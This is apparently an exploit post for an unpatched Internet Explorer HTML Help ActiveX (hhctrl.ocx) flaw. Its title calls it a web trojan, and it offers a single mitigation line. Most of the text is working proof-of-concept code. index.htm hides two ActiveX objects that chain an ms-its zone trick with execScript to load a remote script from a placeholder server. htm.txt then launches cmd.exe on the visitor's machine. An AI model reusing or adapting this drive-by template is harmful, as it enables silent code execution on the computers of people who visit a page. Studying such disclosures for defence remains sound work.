最新Help ActiveX控件网页木马 This unpatched vulnerability is a variant of the "Auto SP2 RC Exploit"
Solution : Set the security level for all zones to "High" in Internet Explorer
// index.htm //
<html><head></head>
<OBJECT style="display:none" id="locate" type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"
codebase="hhctrl.ocx#Version=5,2,3790,1194">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:_">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1" value="command;ms-its:c:/windows/help/ntshared.chm
::/alt_url_enterprise_specific.htm">
</OBJECT>
<OBJECT style="display:none" id="locator" type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"
codebase="hhctrl.ocx#Version=5,2,3790,1194">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:_">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1" value='command;javascript：execScript("document.write(\"
<script language=\\\"javascript\\\" src=\\\"http://server//htm.txt\\\"\"+
String.fromCharCode(62)+\"</scr\"+\"ipt\"+String.fromCharCode(62))")'>
</OBJECT>
<script>locate.HHClick();setTimeout("locator.HHClick()",100);setTimeout
("window.opener=null;window.close()",10000)</script></body></html>
// htm.txt //
document.write("<object id=a classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11>
<param name=command value=shortcut><param name=item1 value=',cmd.exe,/c pause,'>
</object><object id=b classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11>
<param name=command value=close></object><script>a.Click\(\);b.Click\(\)</script>");
// Original Advisory
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